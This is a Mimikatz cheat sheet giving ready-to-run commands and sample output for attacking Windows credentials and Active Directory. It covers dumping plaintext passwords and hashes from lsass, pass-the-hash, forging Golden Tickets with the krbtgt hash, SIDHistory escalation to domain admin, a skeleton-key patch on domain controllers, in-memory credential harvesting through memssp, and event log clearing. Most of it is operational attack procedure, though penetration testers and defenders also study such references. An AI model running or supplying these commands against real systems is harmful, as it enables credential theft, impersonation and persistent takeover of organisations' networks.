{MIMIKATZ CHEAT SHEET}

A LITTLE TOOL TO PLAY WITH WINDOWS SECURITY
(V1.1 EDITED BY: NICHOLAS BRINK)

MIMIKATZ OVERVIEW:

- Purpose

mimikatz is a tool developed by Benjamin Delpy to extract plaintext passwords, hashes, PIN codes, kerberos tickets from memory. It can also be used to perform pass-the-hash, pass-the-ticket, and build Golden Tickets.

mimikatz can be downloaded from github:
`https://github.com/gentilkiwi/mimikatz`

Command Overview:
List Modules: *:: [enter]*
List Commands: *<modulename>::*
Basic Syntax: *<modulename>::<command> <args>*

- Modules

mimikatz V2.1 currently has 20 modules

mimikatz Modules

Name	Description
standard	Basic commands
crypto	Info about providers
sekurlsa	Enumerate credentials
kerberos	Kerberos ticket functions
privilege	Request rights (i.e. debug)
process	Interact with system processes
service	Interact with system services
lsadump	LSA: dcsync, netsync, sam, secrects
ts	Patch Terminal Server to allow multiple users
event	drop | clear Windows event log
misc	cmd, regedit, taskmgr, memssp, skeleton
token	Manipulate identity tokens
vault	Windows Credential Manager
minesweeper	Cheat at Minesweeper
net	user, group and alias info
dpapi	Data protection application programming interface
busylight	Control Kuando Busylight Device
sysenv	Interact with system enviroment variables
sid	Interact with Security Identifiers
iis	Analyze IIS .config files

CREDENTIALS

- Privileges and Logging

mimikatz requires debug privileges which allows mimikatz to attach to the lsass process. By default debug is granted to all administrators. If debug permissions have been removed try: *psexec -s -c mimikatz.exe* to run as the system user.

mimikatz # privilege::debug
Privilege '20' OK

Some features may require the use of **SYSTEM** privileges:

mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM

Create a log of all the mimikatz output (default log name is "mimikatz.log"):

mimikatz # standard::log ***optional-log-name***
Using 'mimikatz.log' for logfile : OK

- Dump Plaintext Credentials

Create a log of all the mimikatz output (default log name is "mimikatz.log"):

mimikatz # sekurlsa::logonPasswords
Authentication Id : 0 ;
Session : Interactive from 1
User Name : USERNAME
Domain : DOMAIN
Logon Server : LastDomainController
Logon Time : 1/1/1970 9:30:47 AM
SID : S-1-5-21-*

- Additional Creds & Keys

Additional creds are maintained by the Windows Credential Manager, Windows Vault and SAM:

Name	Description
vault::cred	Credential Manager Creds
vault::list	Windows Vault Creds
lsadump::sam	Key to decrypt SAM
lsadump::secrets	Key to decrypt SECRETS
lsadump::cache	Key to decrypt MSCache(v2)

- Dump File

mimikatz can make use of the dump of an lsass process using **procdump**:

procdump.exe -ma lsass.exe minidump.dmp 2>&1

This can then be read into **mimikatz**:

mimikatz # sekurlsa::minidump minidump.dmp

IMPERSONATION

- Pass the Hash

mimikatz can create a process running under another users credential using the HASH of a password instead of the real password.

- /user - the username to impersonate
- /domain - the FQDN - if local user/admin, use computer or server name
- /rc4 or /ntlm - optional - the RC4 key / NTLM hash of the user's password
- /aes128 - optional - the AES128 key derived from the user's password and the realm of the domain
- /aes256 - optional - the AES256 key derived from the user's password and the realm of the domain
- /run - optional - the command line to run - default is: cmd to have a shell.
- /impersonate - optional -

mimikatz # sekurlsa::pth /user:imauser /domain:domain.net /ntlm:b8e... /run:"powershell"
user : imauser
Domain : domain.net
program: powershell
...

- Golden Ticket

The domain name, domain SID, account name, account RID, RID's for group membership and an RC4(NTLM Hash) key, AES128 HMAC Key, or AES256 HMAC key. **mimikatz** on a DC:

mimikatz # lsadump::lsa /inject /name:krbtgt
EXTENDED OUTPUT

To generate the ticket and save for later use:

mimikatz # kerberos:purge
mimikatz # kerberos::golden /domain:domain.net /sid:S-1-5-21... /rc4:8ad3... /user:Administrator /id:500 /groups:500,501,513 /ticket:forged.kirbi
mimikatz # kerberos::ptt forged.kirbi

Once imported, issue **misc::cmd** to use

- Elevate Privileges

The **misc::addsid** command adds a sid to the **SIDHistory** of an account. By choosing a domain admin you effectively elevate a user account to domain admin

mimikatz # misc::addsid normuser domainadmin

MISCELLANEOUS

- MultiRDP

The **ts** module patches "termsrv.dll" in memory to allow for additional RDP sessions.

mimikatz # ts::multirdp
"TermService" service patched

- SkeletonKey

The **misc::skeleton** command patches "lsass" in memory on a domain controller to create a skeleton password of "mimikatz" for any domain user. A reboot of the DC is required to revert this.

mimikatz # misc::skeleton

- MEMSSP

misc::memssp adds an Security Support Provider (SSP) in memory on the local system to gather credentials of users that log in. By default they are written to a file in the same directory as the driver.

mimikatz # misc::memssp
Injected =>

- Kernel Commands

mimikatz has additional commands that can be called by prefixing them with "!"

! Commands

Name	Description
+	Install driver (mimidrv)
-	Remove driver (mimidrv)
ping	Ping the driver
bsod	BSOD !
process	List process
processProtect	Protect process
processToken	Duplicate process token
processPrivilege	Set all privilege on process
modules	List modules
ssdt	List SSDT
notifProcess	List process notify callbacks
notifThread	List thread notify callbacks
notifImage	List image notify callbacks
notifReg	List registry notify callbacks
notifObject	List object notify callbacks
filters	List FS filters
minifilters	List minifilters
sysenvset	System Environment Variable Set
sysenvdel	System Environment Variable Delete